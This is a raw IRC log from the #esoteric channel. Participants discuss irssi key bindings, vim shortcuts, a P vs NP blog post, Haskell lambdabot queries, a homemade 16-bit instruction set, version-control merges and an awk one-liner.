PRIVMSG #esoteric :i just use 'r' to reload the page < 1394217791 857997 :Guest55323!~quintopia@74.117.159.204 PRIVMSG #esoteric :or 'R' < 1394217795 985340 :Guest55323!~quintopia@74.117.159.204 PRIVMSG #esoteric :shit my nick < 1394217810 4096 :Guest55323!~quintopia@74.117.159.204 NICK :quintopia < 1394217817 211095 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394217818 237379 :quintopia!~quintopia@74.117.159.204 QUIT :Changing host < 1394217818 422472 :quintopia!~quintopia@unaffiliated/quintopia JOIN :#esoteric < 1394218149 201816 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :does irssi have a key that instantly scrolls you to the newest line of a channel that you've accidentally left scrolled up? < 1394218298 564717 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the end key does that for me, i'm not sure if i made an explicit binding for it (i did it for either home/end or ^A/^E) < 1394218342 596363 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :? < 1394218347 612105 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i don't have an end key on my phone < 1394218356 514346 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :You need End to jump to the end of the line you’re editing. < 1394218362 925308 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what command should i bind? < 1394218382 680761 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: i set ^E to do that instead < 1394218385 433625 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Melvar: down-up does that i think < 1394218403 304430 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :quintopia means pgup/pgdn, I think. < 1394218409 197401 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :not in-line editing. < 1394218416 621514 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: scroll_end < 1394218422 72976 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :okay thx < 1394218478 299359 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :now i just gotta find a key to bind...i don't have many left on this small keyboard < 1394218506 925639 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you can bind some combination i assume < 1394218601 353248 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :of course. not many of those left either < 1394218604 545153 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: or possibly, ^E and end already both do that by default, and i set end to do the other thing instead. < 1394218612 693172 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it was something silly like that. < 1394218641 735516 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: End doesn't seem to do it here. < 1394218654 7587 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(And neither does ^E.) < 1394218662 410159 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm < 1394218669 29616 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe one of them was unset, then. < 1394218673 806619 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :quintopia: Are you lacking modifiers? < 1394218681 826165 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, sorry, I misread that. < 1394218689 767903 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yeah, both End and ^E do end-of-line. < 1394218699 543657 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(And neither do scroll_end.) < 1394218735 665819 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394218740 902194 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yeah i think there is no default binding that does scroll_end < 1394218762 800620 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :According to /bind, "chome" and "cend" are bound to scroll_start/scroll_end, but I have no idea what those are. < 1394218772 753383 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's clearly not ctrl-home and ctrl-end.) < 1394218785 753707 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which meant it was obvious to pick one of the redundant ones to change < 1394218794 250227 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :huh < 1394218842 89210 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: oh indeed they do, maybe it was added in a later irssi version. < 1394218863 233211 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :cleft and cright are bound to backward_word and forward_word, and I get those behaviors with shift-left/right, but I don't seem to get scroll_end with any modifier applied to the end key. < 1394218884 828156 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Melvar: nah. i can do M and C. i've got most of the M ones bound. i'll just find some C one that screen doesn't need < 1394218886 111368 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ACTION has End on Level5shift+o , so easier than Ctrl+e . < 1394219003 498285 :ion!ion@heh.fi PRIVMSG #esoteric :I ended up in a stalemate with the FTL boss. Neither of us has weapons. < 1394219074 77750 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: well i rarely use End anywhere else except in the browser, where it usually means go to bottom of page, so it was more mnemonic for me. < 1394219084 232037 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ooh i can just bind F- keys < 1394219122 444724 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :F4 (since that's the number with $ on it...good mnemonic) < 1394219187 392868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if i do any serious editing, i use vim and there i'm used to $, although End would work too. < 1394219191 171363 :bumprod!~bumprod@46.148.30.119 JOIN :#esoteric < 1394219214 360218 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :or not < 1394219233 569623 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :C-4 will work < 1394219256 534191 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: you'd want G if you are going for vim mnemonic for that :P < 1394219446 40939 :Slereahphone!~slereahph@90.84.145.74 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394219530 934776 :Slereahphone!~slereahph@90.84.145.74 JOIN :#esoteric < 1394219554 585187 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i can never remember G. just now i was editing the config in vim and thinking 'hmm all this scrolling down...i sure wish i could remember what the shortcut was to scroll to the bottom...' < 1394219593 795236 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :annnnnd i put an error in the config damn < 1394219696 45532 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :damn it doesn't work < 1394219696 267246 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i use G all the time because "+yG at the top is the simplest way to copy the whole window out of vim < 1394219723 471251 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i don't vim edit often enough to be proficient < 1394219738 448874 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1394219754 828717 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: $ is Level3shift+ö , which is definitely harder to reach than Level5shift+o , so I mostly use the latter in vim. < 1394219805 332821 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what keyboard is that < 1394219829 214523 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Neo2. < 1394219899 806967 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i have no idea what this phone is doing keywise < 1394219906 714412 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :give up? < 1394219908 745801 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh a german keyboard layout < 1394220002 474436 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and i also tend to use VG: instead of :.,$ for doing an ex command till end of file < 1394220123 840902 :olsner_!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I usually go via visual mode too, haven't gotten the hang of the syntax for ranges in ex (yet?) < 1394220128 182438 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and dG and yG get some use when i'm duplicating stuff at the end < 1394220147 538752 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so G is quite useful. < 1394220184 826375 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :visual mode also makes it easy to adjust the selection a little < 1394220195 65800 :olsner_!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :you can have lots of fun with g in vim ... gggqG is probably my favorite < 1394220223 390310 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that formats the whole window, iirc < 1394220242 826358 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i tend to use gq only on a few lines at the time < 1394220263 305652 :olsner_!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :yep, never actually *use* that sequence because reformatting tends to change stuff I don't intend to change < 1394220265 744988 :olsner_!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :just like it a lot < 1394220323 605787 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i have a tendency to use Jgqq < 1394220342 848019 :olsner_!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :hmm, does that do the same as gqj? < 1394220352 338293 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm.. < 1394220362 472025 :olsner_!~salparot@c83-252-203-32.bredband.comhem.se NICK :olsner < 1394220367 390365 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose < 1394220387 906349 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :except, if the second line contains some indentation that gq won't change < 1394220411 72170 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :ACTION is a vim heretic: uses level5shift+iale = ←↓↑→ instead of hjkl, because hjkl are scattered around in inconvenient places. < 1394220431 504392 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :gqj merges the lines if the first line is shorter than the wrapping width, at least in my config < 1394220471 241485 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :I like hjkl's position on dvorak < 1394220476 114492 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I notice ISO 646 does not have German quotation marks. < 1394220528 574502 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Therefore it makes it more difficult converting ISO 646 to Z-machine characters. < 1394220629 65430 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: i use arrows even with qwerty < 1394220664 792769 :Slereahphone!~slereahph@90.84.145.74 QUIT :Remote host closed the connection < 1394220692 121459 :Slereahphone!~slereahph@90.84.145.74 JOIN :#esoteric < 1394220714 183518 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :oerjan: I do it both ways, using arrow keys when not in command mode < 1394220863 401185 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 264 seconds < 1394220971 394686 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1394221109 262372 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 240 seconds < 1394221206 525539 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :new blog post about "why we should believe P != NP" http://www.scottaaronson.com/blog/?p=1720 i just got to a couple nice examples of how thin yet sharp the boundary between P and NP-complete problems can be < 1394221470 525682 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :is it bad if I want P = NP because it sounds more interesting? :( < 1394221489 574447 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, but you may be out of luck < 1394221591 322673 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :motl sure is an interesting personality. < 1394221608 623646 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com QUIT :Quit: This computer has gone to sleep < 1394222294 160430 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1394222582 421072 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think aaronson's frog analogy is getting out of hand < 1394223040 358768 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Quit: :qa! < 1394223824 739066 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :P = NP would make the world of complexity classes much less interesting. < 1394224121 484524 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :more interesting? i like crypto, personally < 1394224592 557284 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com JOIN :#esoteric < 1394224668 839706 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I liked the bit that went "-- computer scientists are just not very smart—certainly not as smart as real scientists --". < 1394224758 97387 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394224767 397559 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: one might suspect that to be a highly watered down luboš motl statement. < 1394225303 163516 :Slereahphone!~slereahph@90.84.145.74 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394225623 323369 :Slereahphone!~slereahph@90.84.145.74 JOIN :#esoteric < 1394225900 31239 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 244 seconds < 1394226093 240810 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh i see why my new key binding wasn't working < 1394226103 686432 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Irssi: Unknown command: scroll_end < 1394226484 768011 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@src some < 1394226484 992607 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :some v = some_v < 1394226485 177651 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : where many_v = some_v <|> pure [] < 1394226485 177814 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : some_v = (:) <$> v <*> many_v < 1394226515 475477 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@src many < 1394226515 660944 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Source not found. My mind is going. I can feel it. < 1394226520 631881 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::t many < 1394226521 673396 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Alternative f => f a -> f [a] < 1394226542 140109 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm they're not defined directly in terms of each other any longer? < 1394226565 219544 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i guess that helps sharing. < 1394226580 245325 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but not my attempt to provide an example on reddit. < 1394226587 369468 :bumprod!~bumprod@46.148.30.119 QUIT :Ping timeout: 264 seconds < 1394226617 739437 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: well scroll_end is presumably more like a key designation than a command < 1394226661 239961 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's a technical term for it, but I forget what it is. < 1394226663 712358 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Action"? < 1394226679 424 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Bind some action to specified keystroke" yes, I think that's it. < 1394226728 407624 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: i think you just need to leave off the / ? < 1394226876 321145 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Those "you've last seen things this far" lines are something I'd kind of like to get; I'm sure there's an app... I mean, a script for that. < 1394227047 791482 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :heh yeah, i keep leaving windows slightly backscrolled just to simulate it < 1394227098 619559 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which gets a little awkward when combined with an occasional bug in the code to add "More" to the window's status line < 1394227102 186209 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oerjan: i need to know the name of the command to bind the key < 1394227121 519732 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: /bind whateveryourkey scroll_end < 1394227124 564397 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i thought < 1394227131 284789 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it's not called scroll_end < 1394227137 856680 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hum < 1394227143 547525 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :maybe scroll_end is added in a more recent version? < 1394227168 268986 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i'm using 0.8.15 < 1394227176 418947 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can check with "/bind -list". < 1394227179 987970 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm sure it's been many years since i added it < 1394227200 822155 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :...it's called scroll_end on that list < 1394227205 634752 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :So there you go. < 1394227214 323132 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Of ypi < 1394227217 651453 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Whoops. < 1394227218 757765 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :but then why is irssi telling me it's an unknown command < 1394227223 651680 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Because it's not a command. < 1394227227 916695 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You bind actions, not commands. < 1394227238 36628 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or, well, you can also bind commands, if you start them with the /. < 1394227240 131555 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: 0.8.15 here too < 1394227248 875208 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :But if you bind something like oerjan says, with no /, then you're binding an action. < 1394227259 21715 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :so i should call it an action rather than a command < 1394227259 884720 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ok < 1394227470 164473 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Technically, I think "/bind X /foo" is equivalent to "/bind X command foo", which is using the action called "command" that runs a command.) < 1394227709 244787 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :okay now my phone won't even send the same keycode for ^4 it was sending befor < 1394227714 751464 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it just sends 4 < 1394227720 293231 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :wtf < 1394227754 571299 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :tricky < 1394227783 862700 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i'll just bind M- instead...crazy? < 1394227885 326438 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :works. good enough. < 1394227999 116271 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Quit: Leaving... < 1394228818 24168 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1394228819 955826 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :if only this were true ... "Note that the lid switch is ignored if the system is inserted in a docking station, or if more than one display is connected." < 1394228827 218346 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394228832 214346 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1394229326 970763 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Oh, that's a very recent change, not yet released. Pity. In the meantime ... it sucks. < 1394230682 331730 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394230918 592514 :Slereahphone!~slereahph@90.84.145.74 QUIT :Remote host closed the connection < 1394230966 44973 :Slereahphone!~slereahph@90.84.145.74 JOIN :#esoteric < 1394231315 340088 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394231524 274940 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394231738 112408 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394232363 633761 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394232872 382881 :itsy!~digital_w@37.152.198.84 QUIT :Quit: itsy < 1394233184 846568 :titomir!~titomir@46.148.31.139 JOIN :#esoteric < 1394234847 720588 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1394235817 281136 :nooodl!~nooodl@91.176.177.103 QUIT :Ping timeout: 240 seconds < 1394236145 936964 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394236345 581015 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394236667 318687 :elliott!~elliott@unaffiliated/elliott QUIT :Ping timeout: 264 seconds < 1394236911 661210 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394237045 182432 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1394237220 88339 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Night < 1394237462 797854 :lambdabot!~lambdabot@silicon.int-e.eu QUIT :Ping timeout: 264 seconds < 1394237499 554733 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394237678 821781 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394237679 232591 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394237820 354528 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The 16-bit instruction set that I have made up, now I wrote complete documenation of it: http://zzo38computer.org/textfile/miscellaneous/cpu16.txt < 1394238021 577833 :lambdabot!~lambdabot@silicon.int-e.eu JOIN :#esoteric < 1394238452 16850 :Slereahphone!~slereahph@90.84.145.74 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394238639 722546 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it OK? < 1394238889 537142 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394238924 982522 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394238985 611392 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Four Chords always ends with Scar, right? < 1394238994 216884 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :That would make sense, but Wikipedia doesn't say that :( < 1394239126 369703 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394239141 247088 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394239250 228464 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why do you think it does? < 1394239442 477763 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zzo38: all the renditions I've heard end with Scar, and the lyrics of Scar fit perfectly with the theme of Four Chords < 1394240850 880614 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Textual IRC Client: www.textualapp.com < 1394242829 904538 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394242862 243454 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394243099 319578 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 241 seconds < 1394243417 797184 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394244054 899849 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394244837 370102 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394244864 761614 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394246398 527989 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394246480 857901 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"The act of merging can introduce bugs, either through incompatible semantics of the two branches, or due to mistakes reconciling the two branches during the merge." < 1394246486 810754 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Screw text-based version control < 1394246504 534011 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Although even semantic code editing can't fix some merge problems, I guess < 1394246528 420898 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :nothing in your quote has anything to do with text, unless i'm missing something < 1394246918 494739 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :'"Snowden claims that he's won and that his mission is accomplished," Clapper also noted. "If that is so, I call on him and his accomplices to facilitate the return of the remaining stolen documents that have not yet been exposed to prevent even more damage to U.S. security."' < 1394246939 74942 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: text-based version control makes mistakes liklier, I beliebe < 1394246941 141614 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :*believe < 1394246959 841542 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :^^um, how is Clapper expecting 'documents to be returned'? < 1394246973 62227 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Even if every concern of his is valid, he's asking for the impossible < 1394247034 500153 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you believe. < 1394247168 949315 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Maybe you're the impossible one, sgeo. < 1394247643 882699 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it is AI-complete to do merges without breaking things < 1394247661 323687 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Sgeo: turn over the disks, presumably < 1394247663 952222 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :just like GCHQ wanted < 1394249442 457402 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394249451 215606 :titomir!~titomir@46.148.31.139 QUIT :Read error: Connection reset by peer < 1394250089 845633 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you're taking clapper's statement at face value < 1394250109 650989 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :instead of interpretting it as a propaganda campaign < 1394250126 927650 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :that is why it doesnt seem to make sense < 1394251214 761216 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394251365 759010 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394252668 67089 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394252765 331943 :endrews!~endrews@62.109.22.242 JOIN :#esoteric < 1394254067 124245 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394254115 398188 :HackEgo!~HackEgo@162.248.166.242 QUIT :Read error: Connection reset by peer < 1394254128 236052 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394254145 955394 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394254476 785056 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394254588 401442 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The AWK program 'x++' will output everything except for the first line. You could use this in a shebang line. < 1394254635 902202 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :what about overflow? < 1394254669 975869 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Well, it won't work if it overflows, I suppose, but usually you won't have a lot of lines. < 1394256608 788043 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394256883 867059 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Is awk specified to use an int instead of a bignum? < 1394257076 891907 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Ah, worse, it's a float. < 1394257094 961126 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :So no overflow, but... < 1394257140 470993 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wat < 1394257163 371235 